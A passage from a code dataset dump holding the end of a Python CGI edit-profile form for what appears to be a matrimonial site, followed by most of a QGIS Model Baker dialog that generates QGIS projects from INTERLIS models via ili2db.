self.add(EditPersonalInfo())\n \n self.add(HeaderTag('EDUCATION_JOB'))\n self.add(EditJobInfo())\n \n self.add(HeaderTag('ABOUT'))\n self.add(EditAboutInfo())\n \n \n self.add(ButtonSaveContinue())\n \n def _readData(self):\n \n tableName = SESSINFO.getSessionInfo().getDBName()\n group = DBINT.DBFieldGroup('DB1', tableName)\n \n DBINT.setDBReadGroup(group,'height','weight','maritalstatus','physicalstatus','complexion',\n 'religion','caste','countryperm','stateperm','districtperm','placeperm',\n 'pinperm','countrytemp','statetemp','districttemp','placetemp','pintemp',\n 'education','occupationtype','occupation','company','companyemail','writtenby','aboutme')\n \n qGroup = DBINT.getDBTrustedQGroupAnd(id=SESSINFO.getSessionInfo().getId())\n group.setQueryGroup(qGroup)\n \n if tableName == None:\n '''\n Make all the groups and returns if the table name is none.\n '''\n return group\n \n group.read()\n return group\n \n#============================================================\n\nclass HeaderTag(WW.DivFrame):\n def __init__(self,header):\n WW.DivFrame.__init__(self)\n self.add(UTIL.getText(header))\n self.setClass('headerSectionStyle')\n \n#============================================================\n\nclass EditProfileItem(WW.DivFrame):\n def __init__(self):\n WW.DivFrame.__init__(self)\n self.setClass('bodySectionStyle')\n self.addItems()\n \n def addItems(self):\n raise ValueError('This function is implemented in subclass')\n\n#============================================================\nclass EditPersonalInfo(EditProfileItem):\n def __init__(self):\n EditProfileItem.__init__(self)\n \n def addItems(self):\n \n comp = NW.MLabelDropdown('HEIGHT',_gWns.getAltId('HEIGHT'),IUTIL.getHeightModel(),True,True)\n selItem = _gDataGroup.getItem('height').getValue(0)\n comp.setSelectedItem(selItem)\n self.add(comp)\n \n comp = NW.MLabelDropdown('WEIGHT',_gWns.getAltId('WEIGHT'),IUTIL.getWeightModel(),True,True)\n selItem = _gDataGroup.getItem('weight').getValue(0)\n comp.setSelectedItem(selItem)\n self.add(comp)\n \n model = NDBUTIL.getDropdownValue('maritalstatuslist')\n comp = NW.MLabelDropdown('MARITAL_STATUS',_gWns.getAltId('MARITAL_STATUS'),model,True,True)\n selItem = _gDataGroup.getItem('maritalstatus').getValue(0)\n comp.setSelectedItem(selItem)\n self.add(comp)\n\n model = NDBUTIL.getDropdownValue('physicalstatuslist')\n comp = NW.MLabelDropdown('PHYSICAL_STATUS',_gWns.getAltId('PHYSICAL_STATUS'),model,True,True)\n selItem = _gDataGroup.getItem('physicalstatus').getValue(0)\n comp.setSelectedItem(selItem)\n self.add(comp)\n \n model = NDBUTIL.getDropdownValue('complexionlist')\n comp = NW.MLabelDropdown('COMPLEXION',_gWns.getAltId('COMPLEXION'),model,True,True)\n selItem = _gDataGroup.getItem('complexion').getValue(0)\n comp.setSelectedItem(selItem)\n self.add(comp)\n \n#============================================================\n \nclass EditReligiousInfo(EditProfileItem):\n def __init__(self):\n EditProfileItem.__init__(self)\n \n def addItems(self):\n selList = [_gDataGroup.getItem('religion').getValue(0), _gDataGroup.getItem('caste').getValue(0)]\n comp = WDB.ChainedDropdownDBComp(_gWns.getAltId('RELIGION'), 'religionlist',['RELIGION', 'CASTE'], selList, True)\n self.add(comp)\n \n#============================================================\n \nclass EditAddressInfo(EditProfileItem):\n \n def __init__(self, type=0):\n self.type = type\n EditProfileItem.__init__(self)\n \n def addItems(self):\n \n \n#6\n if (self.type == 0):\n selList = [_gDataGroup.getItem('countryperm').getValue(0), \n _gDataGroup.getItem('stateperm').getValue(0),\n _gDataGroup.getItem('districtperm').getValue(0)]\n place = _gDataGroup.getItem('placeperm').getValue(0)\n pin = _gDataGroup.getItem('pinperm').getValue(0)\n \n addrId = _gWns.getAltId('ADDRESS_PERM')\n palaceId = _gWns.getAltId('PLACE_PERM')\n pinId = _gWns.getAltId('PINCODE_PERM')\n \n else:\n selList = [_gDataGroup.getItem('countrytemp').getValue(0), \n _gDataGroup.getItem('statetemp').getValue(0),\n _gDataGroup.getItem('districttemp').getValue(0)]\n place = _gDataGroup.getItem('placetemp').getValue(0)\n pin = _gDataGroup.getItem('pintemp').getValue(0)\n \n addrId = _gWns.getAltId('ADDRESS_TEMP')\n palaceId = _gWns.getAltId('PLACE_TEMP')\n pinId = _gWns.getAltId('PINCODE_TEMP')\n \n \n \n comp = WDB.ChainedDropdownDBComp(addrId, 'countrylist',['COUNTRY', 'STATE','DISTRICT'], selList, True)\n \n self.add(comp)\n \n comp = NW.LabelTextbox('PLACE',palaceId)\n comp.setText(place)\n self.add(comp)\n \n comp = NW.LabelTextbox('PINCODE',pinId)\n comp.setText(pin)\n self.add(comp)\n \n def _getCopyItemLink(self):\n '''\n May be used later\n '''\n div = WW.DivFrame()\n div.addStyle('color', 'gray')\n link = WW.Hyperlink(\"\", UTIL.getText('CLICK_TO_COPY'))\n link.addId('copyAddrLinkId')\n div.add(UTIL.getText('IF_LINK_SAME')+',')\n div.add(link)\n div.nl(2)\n return div\n \n \n#============================================================\n \nclass EditJobInfo(EditProfileItem):\n def __init__(self, type=0):\n self.type = type\n EditProfileItem.__init__(self)\n \n def addItems(self):\n \n model = NDBUTIL.getDropdownValue('educationlist')\n comp = NW.MLabelDropdown('EDUCATION',_gWns.getAltId('EDUCATION'),model,False,True)\n selItem = _gDataGroup.getItem('education').getValue(0)\n comp.setSelectedItem(selItem)\n self.add(comp)\n \n selList = [_gDataGroup.getItem('occupationtype').getValue(0), _gDataGroup.getItem('occupation').getValue(0)]\n comp = WDB.ChainedDropdownDBComp(_gWns.getAltId('OCCUPATION'), 'occupationlist',['OCCUPATION_TYPE', 'OCCUPATION'], selList)\n self.add(comp)\n \n model = NDBUTIL.getCompanyDetailsModel()\n \n comp = NW.LabelAutoTextbox('COMPANY',_gWns.getAltId('COMPANY'), model.getLabels(), False)\n text = _gDataGroup.getItem('company').getValue(0)\n comp.setText(text)\n self.add(comp)\n \n comp = NW.LabelTextbox('COMPANY_EMAIL',_gWns.getAltId('COMPANY_EMAIL'), False)\n text = _gDataGroup.getItem('companyemail').getValue(0)\n comp.setText(text)\n self.add(comp)\n\n#============================================================ \n\nclass EditAboutInfo(EditProfileItem):\n def __init__(self):\n EditProfileItem.__init__(self)\n \n def addItems(self):\n \n model = NDBUTIL.getDropdownValue('writtenbylist')\n comp = NW.MLabelDropdown('WRITTEN_BY',_gWns.getAltId('WRITTEN_BY'),model,False,True)\n text = _gDataGroup.getItem('writtenby').getValue(0)\n comp.setSelectedItem(text)\n self.add(comp)\n \n comp = WW.TextArea(_gWns.getAltId('ABOUT'),'350px','150px')\n comp.setEnabled(False)\n text = _gDataGroup.getItem('aboutme').getValue(0)\n comp.setText(text)\n self.add(comp)\n \n comp = WW.DivFrame('writtenbyCount')\n comp.addStyle('font-size', '20px')\n comp.addStyle('font-weight', 'bold')\n comp.add('0')\n self.add(comp)\n\n#============================================================\nclass ButtonSaveContinue(WW.DivFrame):\n def __init__(self):\n WW.DivFrame.__init__(self)\n self.setClass('buttonSectionStyle')\n \n if SESSINFO.getSessionInfo().getStatus() < 100:\n textKey = 'SAVE_CONTINUE'\n else:\n textKey = 'SAVE'\n \n bButton = NW.BusyTableButton(WN.getWidgetIdEditProfile()+'Button',UTIL.getText('SAVE_CONTINUE'))\n self.add(bButton)\n \n \n \n ","sub_path":"CGI-Executables/inbox_editprofile.py","file_name":"inbox_editprofile.py","file_ext":"py","file_size_in_byte":9697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"152818914","text":"# -*- coding: utf-8 -*-\n\"\"\"\n/***************************************************************************\n -------------------\n begin : 29/03/17\n git sha : :%H$\n copyright : (C) 2017 by OPENGIS.ch\n email : info@opengis.ch\n ***************************************************************************/\n\n/***************************************************************************\n * *\n * This program is free software; you can redistribute it and/or modify *\n * it under the terms of the GNU General Public License as published by *\n * the Free Software Foundation; either version 2 of the License, or *\n * (at your option) any later version. *\n * *\n ***************************************************************************/\n\"\"\"\n\nimport configparser\nimport re\nimport webbrowser\n\nimport yaml\nfrom qgis.core import Qgis, QgsCoordinateReferenceSystem, QgsProject\nfrom qgis.gui import QgsGui, QgsMessageBar\nfrom qgis.PyQt.QtCore import (\n QCoreApplication,\n QEventLoop,\n QLocale,\n QSettings,\n Qt,\n QTimer,\n)\nfrom qgis.PyQt.QtGui import QColor, QDesktopServices, QValidator\nfrom qgis.PyQt.QtWidgets import (\n QAction,\n QCompleter,\n QDialog,\n QDialogButtonBox,\n QGridLayout,\n QMessageBox,\n QSizePolicy,\n)\n\nfrom QgisModelBaker.gui.edit_command import EditCommandDialog\nfrom QgisModelBaker.gui.ili2db_options import Ili2dbOptionsDialog\nfrom QgisModelBaker.gui.multiple_models import MultipleModelsDialog\nfrom QgisModelBaker.gui.options import OptionsDialog\nfrom QgisModelBaker.libili2db.globals import (\n CRS_PATTERNS,\n DbActionType,\n displayDbIliMode,\n)\nfrom QgisModelBaker.libili2db.ili2dbconfig import (\n ImportDataConfiguration,\n SchemaImportConfiguration,\n)\nfrom QgisModelBaker.libili2db.ili2dbutils import JavaNotFoundError, color_log_text\nfrom QgisModelBaker.libili2db.ilicache import (\n IliCache,\n IliMetaConfigCache,\n IliMetaConfigItemModel,\n IliToppingFileCache,\n IliToppingFileItemModel,\n MetaConfigCompleterDelegate,\n ModelCompleterDelegate,\n)\nfrom QgisModelBaker.utils.qt_utils import (\n FileValidator,\n NonEmptyStringValidator,\n OverrideCursor,\n Validators,\n make_file_selector,\n)\n\nfrom ..libili2db import iliimporter\nfrom ..libili2db.globals import DbIliMode\nfrom ..libqgsprojectgen.dataobjects.project import Project\nfrom ..libqgsprojectgen.db_factory.db_simple_factory import DbSimpleFactory\nfrom ..libqgsprojectgen.dbconnector.db_connector import DBConnectorError\nfrom ..libqgsprojectgen.generator.generator import Generator\nfrom ..utils import ui\nfrom ..utils.ui import LogColor\n\nDIALOG_UI = ui.get_ui_class(\"generate_project.ui\")\n\n\nclass GenerateProjectDialog(QDialog, DIALOG_UI):\n\n ValidExtensions = [\"ili\"]\n\n def __init__(self, iface, base_config, parent=None):\n QDialog.__init__(self, parent)\n self.setupUi(self)\n self.iface = iface\n self.db_simple_factory = DbSimpleFactory()\n QgsGui.instance().enableAutoGeometryRestore(self)\n\n self.create_text = self.tr(\"Create\")\n self.set_button_to_create_action = QAction(self.create_text, None)\n self.set_button_to_create_action.triggered.connect(self.set_button_to_create)\n\n self.create_without_constraints_text = self.tr(\"Create without constraints\")\n self.set_button_to_create_without_constraints_action = QAction(\n self.create_without_constraints_text, None\n )\n self.set_button_to_create_without_constraints_action.triggered.connect(\n self.set_button_to_create_without_constraints\n )\n\n self.edit_command_action = QAction(self.tr(\"Edit ili2db command\"), None)\n self.edit_command_action.triggered.connect(self.edit_command)\n\n self.create_tool_button.addAction(\n self.set_button_to_create_without_constraints_action\n )\n self.create_tool_button.addAction(self.edit_command_action)\n self.create_tool_button.setText(self.create_text)\n self.create_tool_button.clicked.connect(self.accepted)\n\n self.buttonBox.accepted.disconnect()\n self.buttonBox.clear()\n self.buttonBox.addButton(QDialogButtonBox.Cancel)\n\n self.create_constraints = True\n\n self.create_button.setText(self.tr(\"Create\"))\n self.create_button.clicked.connect(self.accepted)\n self.ili_file_browse_button.clicked.connect(\n make_file_selector(\n self.ili_file_line_edit,\n title=self.tr(\"Open Interlis Model\"),\n file_filter=self.tr(\"Interlis Model File (*.ili *.ILI)\"),\n )\n )\n self.buttonBox.addButton(QDialogButtonBox.Help)\n self.buttonBox.helpRequested.connect(self.help_requested)\n self.crs = QgsCoordinateReferenceSystem()\n self.ili2db_options = Ili2dbOptionsDialog()\n self.ili2db_options_button.clicked.connect(self.ili2db_options.open)\n self.ili2db_options.finished.connect(self.fill_toml_file_info_label)\n self.multiple_models_dialog = MultipleModelsDialog(self)\n self.multiple_models_button.clicked.connect(self.multiple_models_dialog.open)\n self.multiple_models_dialog.accepted.connect(self.fill_models_line_edit)\n\n self.type_combo_box.clear()\n self._lst_panel = dict()\n\n for db_id in self.db_simple_factory.get_db_list(True):\n self.type_combo_box.addItem(displayDbIliMode[db_id], db_id)\n\n for db_id in self.db_simple_factory.get_db_list(False):\n db_factory = self.db_simple_factory.create_factory(db_id)\n item_panel = db_factory.get_config_panel(self, DbActionType.GENERATE)\n self._lst_panel[db_id] = item_panel\n self.db_layout.addWidget(item_panel)\n\n self.type_combo_box.currentIndexChanged.connect(self.type_changed)\n self.txtStdout.anchorClicked.connect(self.link_activated)\n self.crsSelector.crsChanged.connect(self.crs_changed)\n self.base_configuration = base_config\n\n self.bar = QgsMessageBar()\n self.bar.setSizePolicy(QSizePolicy.Minimum, QSizePolicy.Fixed)\n self.txtStdout.setLayout(QGridLayout())\n self.txtStdout.layout().setContentsMargins(0, 0, 0, 0)\n self.txtStdout.layout().addWidget(self.bar, 0, 0, Qt.AlignTop)\n\n self.validators = Validators()\n nonEmptyValidator = NonEmptyStringValidator()\n fileValidator = FileValidator(\n pattern=[\"*.\" + ext for ext in self.ValidExtensions], allow_empty=True\n )\n\n self.restore_configuration()\n\n self.ilimetaconfigcache = IliMetaConfigCache(self.base_configuration)\n self.metaconfig_delegate = MetaConfigCompleterDelegate()\n self.metaconfig = configparser.ConfigParser()\n self.current_models = None\n self.current_metaconfig_id = None\n self.ili_metaconfig_line_edit.setPlaceholderText(\n self.tr(\"[Search metaconfig / topping from UsabILIty Hub]\")\n )\n self.ili_metaconfig_line_edit.setEnabled(False)\n completer = QCompleter(\n self.ilimetaconfigcache.model, self.ili_metaconfig_line_edit\n )\n completer.setCaseSensitivity(Qt.CaseInsensitive)\n completer.setFilterMode(Qt.MatchContains)\n completer.popup().setItemDelegate(self.metaconfig_delegate)\n self.ili_metaconfig_line_edit.setCompleter(completer)\n self.ili_metaconfig_line_edit.textChanged.emit(\n self.ili_metaconfig_line_edit.text()\n )\n self.ili_metaconfig_line_edit.textChanged.connect(\n self.complete_metaconfig_completer\n )\n self.ili_metaconfig_line_edit.punched.connect(\n self.complete_metaconfig_completer\n )\n self.ili_metaconfig_line_edit.textChanged.connect(\n self.on_metaconfig_completer_activated\n )\n\n self.ili_models_line_edit.setValidator(nonEmptyValidator)\n self.ili_file_line_edit.setValidator(fileValidator)\n\n self.ili_models_line_edit.textChanged.connect(\n self.validators.validate_line_edits\n )\n self.ili_models_line_edit.textChanged.emit(self.ili_models_line_edit.text())\n self.ili_models_line_edit.textChanged.connect(self.on_model_changed)\n self.ili_models_line_edit.textChanged.connect(self.complete_models_completer)\n self.ili_models_line_edit.punched.connect(self.complete_models_completer)\n\n self.ilicache = IliCache(self.base_configuration)\n self.model_delegate = ModelCompleterDelegate()\n self.refresh_ili_models_cache()\n self.ili_models_line_edit.setPlaceholderText(\n self.tr(\"[Search model from repository]\")\n )\n\n self.ili_file_line_edit.textChanged.connect(self.validators.validate_line_edits)\n self.ili_file_line_edit.textChanged.connect(self.ili_file_changed)\n self.ili_file_line_edit.textChanged.emit(self.ili_file_line_edit.text())\n\n def set_button_to_create(self):\n \"\"\"\n Changes the text of the button to create (with validation) and sets the validate_data to true.\n So on clicking the button the creation will start with validation.\n The buttons actions are changed to be able to switch the with-validation mode.\n \"\"\"\n self.create_constraints = True\n self.create_tool_button.removeAction(self.set_button_to_create_action)\n self.create_tool_button.removeAction(self.edit_command_action)\n self.create_tool_button.addAction(\n self.set_button_to_create_without_constraints_action\n )\n self.create_tool_button.addAction(self.edit_command_action)\n self.create_tool_button.setText(self.create_text)\n\n def set_button_to_create_without_constraints(self):\n \"\"\"\n Changes the text of the button to create without validation and sets the validate_data to false.\n So on clicking the button the creation will start without validation.\n The buttons actions are changed to be able to switch the with-validation mode.\n \"\"\"\n self.create_constraints = False\n self.create_tool_button.removeAction(\n self.set_button_to_create_without_constraints_action\n )\n self.create_tool_button.removeAction(self.edit_command_action)\n self.create_tool_button.addAction(self.set_button_to_create_action)\n self.create_tool_button.addAction(self.edit_command_action)\n self.create_tool_button.setText(self.create_without_constraints_text)\n\n def edit_command(self):\n \"\"\"\n A dialog opens giving the user the possibility to edit the ili2db command used for the creation\n \"\"\"\n importer = iliimporter.Importer()\n importer.tool = self.type_combo_box.currentData()\n importer.configuration = self.updated_configuration()\n command = importer.command(True)\n edit_command_dialog = EditCommandDialog(self)\n edit_command_dialog.command_edit.setPlainText(command)\n if edit_command_dialog.exec_():\n edited_command = edit_command_dialog.command_edit.toPlainText()\n self.accepted(edited_command)\n\n def accepted(self, edited_command=None):\n configuration = self.updated_configuration()\n\n ili_mode = self.type_combo_box.currentData()\n db_id = ili_mode & ~DbIliMode.ili\n interlis_mode = ili_mode & DbIliMode.ili\n\n if not edited_command:\n if interlis_mode:\n if not self.ili_file_line_edit.text().strip():\n if not self.ili_models_line_edit.text().strip():\n self.txtStdout.setText(\n self.tr(\n \"Please set a valid INTERLIS model before creating the project.\"\n )\n )\n self.ili_models_line_edit.setFocus()\n return\n\n if (\n self.ili_file_line_edit.text().strip()\n and self.ili_file_line_edit.validator().validate(\n configuration.ilifile, 0\n )[0]\n != QValidator.Acceptable\n ):\n\n self.txtStdout.setText(\n self.tr(\n \"Please set a valid INTERLIS file before creating the project. {}\"\n ).format(self.ili_file_line_edit.validator().error)\n )\n self.ili_file_line_edit.setFocus()\n return\n\n res, message = self._lst_panel[db_id].is_valid()\n\n if not res:\n self.txtStdout.setText(message)\n return\n\n configuration.dbschema = configuration.dbschema or configuration.database\n self.save_configuration(configuration)\n\n db_factory = self.db_simple_factory.create_factory(db_id)\n\n try:\n # raise warning when the schema or the database file already exists\n config_manager = db_factory.get_db_command_config_manager(configuration)\n db_connector = db_factory.get_db_connector(\n config_manager.get_uri(configuration.db_use_super_login)\n or config_manager.get_uri(),\n configuration.dbschema,\n )\n\n if db_connector.db_or_schema_exists():\n if interlis_mode:\n warning_box = QMessageBox(self)\n warning_box.setIcon(QMessageBox.Information)\n warning_title = (\n self.tr(\"{} already exists\")\n .format(db_factory.get_specific_messages()[\"db_or_schema\"])\n .capitalize()\n )\n warning_box.setWindowTitle(warning_title)\n warning_box.setText(\n self.tr(\n \"{warning_title}:\\n{db_or_schema_name}\\n\\nDo you want to \"\n \"import into the existing {db_or_schema}?\"\n ).format(\n warning_title=warning_title,\n db_or_schema=db_factory.get_specific_messages()[\n \"db_or_schema\"\n ].capitalize(),\n db_or_schema_name=configuration.dbschema\n or config_manager.get_uri(),\n )\n )\n warning_box.setStandardButtons(QMessageBox.Yes | QMessageBox.No)\n warning_box_result = warning_box.exec_()\n if warning_box_result == QMessageBox.No:\n return\n except (DBConnectorError, FileNotFoundError):\n # we don't mind when the database file is not yet created\n pass\n\n # create schema with superuser\n res, message = db_factory.pre_generate_project(configuration)\n if not res:\n self.txtStdout.setText(message)\n return\n\n with OverrideCursor(Qt.WaitCursor):\n self.progress_bar.show()\n self.progress_bar.setValue(0)\n\n self.disable()\n self.txtStdout.setTextColor(QColor(LogColor.COLOR_INFO))\n\n if interlis_mode:\n importer = iliimporter.Importer()\n importer.tool = self.type_combo_box.currentData()\n importer.configuration = configuration\n importer.stdout.connect(self.print_info)\n importer.stderr.connect(self.on_stderr)\n importer.process_started.connect(self.on_process_started)\n importer.process_finished.connect(self.on_process_finished)\n try:\n if importer.run(edited_command) != iliimporter.Importer.SUCCESS:\n self.enable()\n self.progress_bar.hide()\n return\n except JavaNotFoundError as e:\n self.txtStdout.setTextColor(QColor(LogColor.COLOR_INFO))\n self.txtStdout.clear()\n self.txtStdout.setText(e.error_string)\n self.enable()\n self.progress_bar.hide()\n return\n\n try:\n config_manager = db_factory.get_db_command_config_manager(configuration)\n uri = config_manager.get_uri()\n mgmt_uri = config_manager.get_uri(configuration.db_use_super_login)\n generator = Generator(\n configuration.tool,\n uri,\n configuration.inheritance,\n configuration.dbschema,\n mgmt_uri=mgmt_uri,\n )\n generator.stdout.connect(self.print_info)\n generator.new_message.connect(self.show_message)\n self.progress_bar.setValue(30)\n except (DBConnectorError, FileNotFoundError):\n self.txtStdout.setText(\n self.tr(\n \"There was an error connecting to the database. Check connection parameters.\"\n )\n )\n self.enable()\n self.progress_bar.hide()\n return\n\n if not interlis_mode:\n if not generator.db_or_schema_exists():\n self.txtStdout.setText(\n self.tr(\n \"Source {} does not exist. Check connection parameters.\"\n ).format(db_factory.get_specific_messages()[\"db_or_schema\"])\n )\n self.enable()\n self.progress_bar.hide()\n return\n\n res, message = db_factory.post_generate_project_validations(configuration)\n\n if not res:\n self.txtStdout.setText(message)\n self.enable()\n self.progress_bar.hide()\n return\n\n self.print_info(\n f'\\n{self.tr(\"Obtaining available layers from the database…\")}'\n )\n\n available_layers = generator.layers()\n\n if not available_layers:\n text = self.tr(\"The {} has no layers to load into QGIS.\").format(\n db_factory.get_specific_messages()[\"layers_source\"]\n )\n\n self.txtStdout.setText(text)\n self.enable()\n self.progress_bar.hide()\n return\n\n self.progress_bar.setValue(40)\n self.print_info(self.tr(\"Obtaining relations from the database…\"))\n relations, bags_of_enum = generator.relations(available_layers)\n self.progress_bar.setValue(45)\n\n self.print_info(self.tr(\"Arranging layers into groups…\"))\n legend = generator.legend(available_layers)\n\n custom_layer_order_structure = list()\n # Toppings legend and layers: collect, download and apply\n if \"CONFIGURATION\" in self.metaconfig.sections():\n configuration_section = self.metaconfig[\"CONFIGURATION\"]\n if \"qgis.modelbaker.layertree\" in configuration_section:\n self.print_info(\n self.tr(\"Metaconfig contains a layertree structure topping.\"),\n LogColor.COLOR_TOPPING,\n )\n layertree_data_list = configuration_section[\n \"qgis.modelbaker.layertree\"\n ].split(\";\")\n layertree_data_file_path_list = self.get_topping_file_list(\n layertree_data_list\n )\n for layertree_file_path in layertree_data_file_path_list:\n self.print_info(\n self.tr(\"Parse layertree structure {}…\").format(\n layertree_file_path\n ),\n LogColor.COLOR_TOPPING,\n )\n\n with open(layertree_file_path, \"r\") as stream:\n try:\n layertree_data = yaml.safe_load(stream)\n if \"legend\" in layertree_data:\n legend = generator.legend(\n available_layers,\n layertree_structure=layertree_data[\"legend\"],\n )\n if \"layer-order\" in layertree_data:\n custom_layer_order_structure = layertree_data[\n \"layer-order\"\n ]\n except yaml.YAMLError as exc:\n self.print_info(\n self.tr(\n \"Unable to parse layertree structure: {}\"\n ).format(exc),\n LogColor.COLOR_TOPPING,\n )\n\n self.progress_bar.setValue(55)\n\n # on geopackages we don't use the transaction mode on default, since this leaded to troubles\n auto_transaction = not bool(configuration.tool & DbIliMode.gpkg)\n project = Project(auto_transaction)\n project.layers = available_layers\n project.relations = relations\n project.bags_of_enum = bags_of_enum\n project.legend = legend\n project.custom_layer_order_structure = custom_layer_order_structure\n\n self.print_info(self.tr(\"Configure forms and widgets…\"))\n project.post_generate()\n\n qgis_project = QgsProject.instance()\n\n self.print_info(self.tr(\"Generate QGIS project…\"))\n project.create(None, qgis_project)\n\n # Set the extent of the mapCanvas from the first layer extent found\n for layer in project.layers:\n if layer.extent is not None:\n self.iface.mapCanvas().setExtent(layer.extent)\n self.iface.mapCanvas().refresh()\n break\n\n self.progress_bar.setValue(60)\n # Toppings QMLs: collect, download and apply\n if \"qgis.modelbaker.qml\" in self.metaconfig.sections():\n self.print_info(\n self.tr(\"Metaconfig contains QML toppings.\"), LogColor.COLOR_TOPPING\n )\n qml_section = dict(self.metaconfig[\"qgis.modelbaker.qml\"])\n qml_file_model = self.get_topping_file_model(list(qml_section.values()))\n for layer in project.layers:\n if layer.alias:\n if any(layer.alias.lower() == s for s in qml_section):\n layer_qml = layer.alias.lower()\n elif any(f'\"{layer.alias.lower()}\"' == s for s in qml_section):\n layer_qml = f'\"{layer.alias.lower()}\"'\n else:\n continue\n matches = qml_file_model.match(\n qml_file_model.index(0, 0),\n Qt.DisplayRole,\n qml_section[layer_qml],\n 1,\n )\n if matches:\n style_file_path = matches[0].data(\n int(IliToppingFileItemModel.Roles.LOCALFILEPATH)\n )\n self.print_info(\n self.tr(\"Apply QML topping on layer {}:{}…\").format(\n layer.alias, style_file_path\n ),\n LogColor.COLOR_TOPPING,\n )\n layer.layer.loadNamedStyle(style_file_path)\n\n self.progress_bar.setValue(80)\n\n # Cataloges and Transferfiles: collect, download and import\n if \"CONFIGURATION\" in self.metaconfig.sections():\n configuration_section = self.metaconfig[\"CONFIGURATION\"]\n if \"ch.interlis.referenceData\" in configuration_section:\n self.print_info(\n self.tr(\n \"Metaconfig contains transfer or catalogue toppings (reference data).\"\n ),\n LogColor.COLOR_TOPPING,\n )\n reference_data_list = configuration_section[\n \"ch.interlis.referenceData\"\n ].split(\";\")\n referencedata_file_path_list = self.get_topping_file_list(\n reference_data_list\n )\n for referencedata_file_path in referencedata_file_path_list:\n self.print_info(\n self.tr(\"Import reference data file {}…\").format(\n referencedata_file_path\n )\n )\n\n configuration = self.updated_referencedata_import_configuration(\n referencedata_file_path\n )\n\n # create schema with superuser\n db_factory = self.db_simple_factory.create_factory(db_id)\n res, message = db_factory.pre_generate_project(configuration)\n\n if not res:\n self.txtStdout.setText(message)\n return\n\n with OverrideCursor(Qt.WaitCursor):\n\n dataImporter = iliimporter.Importer(dataImport=True)\n\n dataImporter.tool = self.type_combo_box.currentData()\n dataImporter.configuration = configuration\n\n dataImporter.stdout.connect(self.print_info)\n dataImporter.stderr.connect(self.on_stderr)\n dataImporter.process_started.connect(\n self.on_process_started\n )\n dataImporter.process_finished.connect(\n self.on_process_finished\n )\n\n try:\n if (\n dataImporter.run(edited_command)\n != iliimporter.Importer.SUCCESS\n ):\n self.enable()\n self.progress_bar.hide()\n return\n except JavaNotFoundError as e:\n self.txtStdout.setTextColor(QColor(LogColor.COLOR_INFO))\n self.txtStdout.clear()\n self.txtStdout.setText(e.error_string)\n self.enable()\n self.progress_bar.hide()\n return\n\n self.buttonBox.clear()\n self.buttonBox.setEnabled(True)\n self.buttonBox.addButton(QDialogButtonBox.Close)\n self.progress_bar.setValue(100)\n self.print_info(self.tr(\"\\nDone!\"), \"#004905\")\n\n def print_info(self, text, text_color=LogColor.COLOR_INFO):\n self.txtStdout.setTextColor(QColor(text_color))\n self.txtStdout.append(text)\n QCoreApplication.processEvents()\n\n def on_stderr(self, text):\n color_log_text(text, self.txtStdout)\n self.advance_progress_bar_by_text(text)\n QCoreApplication.processEvents()\n\n def on_process_started(self, command):\n self.print_info(self.tr(\"\\n--- Process ---\"))\n self.print_info(command)\n QCoreApplication.processEvents()\n\n def on_process_finished(self, exit_code, result):\n if exit_code == 0:\n color = LogColor.COLOR_SUCCESS\n message = self.tr(\n \"Interlis model(s) successfully imported into the database!\"\n )\n else:\n color = LogColor.COLOR_FAIL\n message = self.tr(\"Finished with errors!\")\n\n self.txtStdout.setTextColor(QColor(color))\n self.txtStdout.append(message)\n\n def db_ili_version(self, configuration):\n \"\"\"\n Returns the ili2db version the database has been created with or None if the database\n could not be detected as a ili2db database\n \"\"\"\n schema = configuration.dbschema\n\n db_factory = self.db_simple_factory.create_factory(configuration.tool)\n config_manager = db_factory.get_db_command_config_manager(configuration)\n uri_string = config_manager.get_uri(configuration.db_use_super_login)\n\n try:\n db_connector = db_factory.get_db_connector(uri_string, schema)\n db_connector.new_message.connect(self.show_message)\n return db_connector.ili_version()\n except (DBConnectorError, FileNotFoundError):\n return None\n\n def updated_configuration(self):\n \"\"\"\n Get the configuration that is updated with the user configuration changes on the dialog.\n :return: Configuration\n \"\"\"\n configuration = SchemaImportConfiguration()\n\n mode = self.type_combo_box.currentData()\n db_id = mode & ~DbIliMode.ili\n\n self._lst_panel[db_id].get_fields(configuration)\n\n configuration.tool = mode\n configuration.srs_auth = self.srs_auth\n configuration.srs_code = self.srs_code\n configuration.inheritance = self.ili2db_options.inheritance_type()\n configuration.tomlfile = self.ili2db_options.toml_file()\n configuration.create_basket_col = self.ili2db_options.create_basket_col()\n configuration.create_import_tid = self.ili2db_options.create_import_tid()\n configuration.stroke_arcs = self.ili2db_options.stroke_arcs()\n configuration.pre_script = self.ili2db_options.pre_script()\n configuration.post_script = self.ili2db_options.post_script()\n configuration.db_ili_version = self.db_ili_version(configuration)\n configuration.metaconfig = self.metaconfig\n configuration.metaconfig_id = self.current_metaconfig_id\n\n configuration.base_configuration = self.base_configuration\n if self.ili_file_line_edit.text().strip():\n configuration.ilifile = self.ili_file_line_edit.text().strip()\n\n if self.ili_models_line_edit.text().strip():\n configuration.ilimodels = self.ili_models_line_edit.text().strip()\n\n if not self.create_constraints:\n configuration.disable_validation = True\n\n return configuration\n\n def updated_referencedata_import_configuration(self, file):\n \"\"\"\n Get the configuration that is updated with the user configuration changes on the dialog.\n :return: Configuration\n \"\"\"\n configuration = ImportDataConfiguration()\n\n mode = self.type_combo_box.currentData()\n\n db_id = mode & ~DbIliMode.ili\n self._lst_panel[db_id].get_fields(configuration)\n\n configuration.tool = mode\n configuration.xtffile = file\n configuration.delete_data = False\n configuration.base_configuration = self.base_configuration\n configuration.with_schemaimport = False\n # if not self.validate_data:\n # configuration.disable_validation = True\n return configuration\n\n def save_configuration(self, configuration):\n settings = QSettings()\n settings.setValue(\"QgisModelBaker/ili2db/ilifile\", configuration.ilifile)\n settings.setValue(\"QgisModelBaker/ili2db/srs_auth\", self.srs_auth)\n settings.setValue(\"QgisModelBaker/ili2db/srs_code\", self.srs_code)\n settings.setValue(\n \"QgisModelBaker/importtype\", self.type_combo_box.currentData().name\n )\n\n mode = self.type_combo_box.currentData()\n db_factory = self.db_simple_factory.create_factory(mode)\n config_manager = db_factory.get_db_command_config_manager(configuration)\n config_manager.save_config_in_qsettings()\n\n def restore_configuration(self):\n settings = QSettings()\n\n self.ili_file_line_edit.setText(settings.value(\"QgisModelBaker/ili2db/ilifile\"))\n srs_auth = settings.value(\"QgisModelBaker/ili2db/srs_auth\", \"EPSG\")\n srs_code = settings.value(\"QgisModelBaker/ili2db/srs_code\", 21781, int)\n crs = 